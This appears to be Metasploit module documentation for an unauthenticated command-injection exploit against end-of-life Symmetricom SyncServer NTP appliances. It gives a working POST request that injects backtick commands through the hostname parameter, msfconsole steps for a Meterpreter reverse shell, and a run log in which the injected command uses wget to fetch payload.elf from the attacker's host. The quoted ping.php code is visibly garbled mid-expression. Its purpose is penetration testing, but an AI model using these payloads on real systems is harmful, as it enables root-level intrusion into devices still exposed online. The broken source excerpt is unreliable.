## Vulnerable Application
Symmetricom SyncServer is a Network Time Protocol (NTP) hardware appliance.
The current supported version is the S600 series. This module targets the end of life S100
through S300 series which are still found in production and even exposed to the Internet at this time.
The command injection vulnerability exists in the `hostname` parameter of `/controller/ping.php`.
No authentication is required due to a session handling vulnerability in affected versions which sends
a redirect to login yet still executes the command and displays the output if you ignore the redirect.
Only the first word of the command's output is displayed in the response. The following example request
would result in a response which includes `uid=0(root)`:
```
POST /controller/ping.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 149
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://127.0.0.1/controller/ping.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
currentTab=ping&refreshMode=ðDirty=false&snmpCfgDirty=false&snmpTrapDirty=false&pingDirty=false&hostname=%60id%60&port=eth0&pingType=ping
```
The application strips out all known command injection characters except for backticks. In ping.php:
```
$hostnameEsc = preg_replace(
array('/;/', '/\|/', '/>/', '/&1`;
}
else
{
$cmdout = `$PING -c 5 -w 5 $ARGV[0] 2>&1`;
}
}
...snip
print "$cmdout";
```
We believe that this vulnerability is the same as [CVE-2022-40022](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40022). However, no details are published on this vulnerability other than vulnerability title and affected software version. We reached out to Microchip to ask if this is the same vulnerability and they have not responded at the time this was written.
## Verification Steps
Example steps:
1. Start msfconsole
2. Do: `use exploit/linux/http/symmetricom_syncserver_rce`
3. Do: `set RHOSTS [IP]`
4. Do: `set SRVHOST [IP]`
5. Do: `set SRVPORT [port]`
6. Do: `set LHOST [IP]`
7. Do: `set LPORT [port]`
8. Do: `check`
9. If the target is vulnerable:
10. Do: `exploit`
11. You should get a meterpreter shell
## Options
### FILENAME
The name of the payload to write.
#### Additional information
SRVHOST, SRVPORT, LHOST, and LPORT are required because a reverse shell is the only option for exploitation.
The server response to commands includes only the first word of output. Everything else is truncated
and you can't use the `>` character to write the command output to file, therefore this module implements
only a Meterpreter reverse shell.
The server is limited on ports which it can connect back to for the reverse shell. Ports 25 and 80 were successfully
used when developing this module.
## Scenarios
```
msf exploit(linux/http/symmetricom_syncserver_rce) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.143.50:25
msf exploit(linux/http/symmetricom_syncserver_rce) > [*] Using URL: http://192.168.143.50/payload.elf
[*] 192.168.143.222:80 - Exploit started...
[*] 192.168.143.222:80 - Sending wget command...
####################
# Request:
####################
POST /controller/ping.php HTTP/1.1
Host: 192.168.143.222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 231
currentTab=ping&refreshMode=dirtyðDirty=false&snmpCfgDirty=false&snmpTrapDirty=false&pingDirty=true&hostname=%60wget%24%7bIFS%7dhttp%3a//192.168.143.50/payload.elf%24%7bIFS%7d-O%24%7bIFS%7d/tmp/payload.elf%60&port=eth0&pingType=ping
[*] 192.168.143.222:80 - Payload request received: /payload.elf
####################
# Response:
####################
HTTP/1.1 302 Found
Date: Thu, 18 May 2023 14:13:53 GMT
Server: Apache
Set-Cookie: PHPSESSID=0943f04a12e46bb499725a4c2be0a9f3; path=/
Location: ../login.php
Transfer-Encoding: chunked
Content-Type: text/html
Symmetricom SyncServer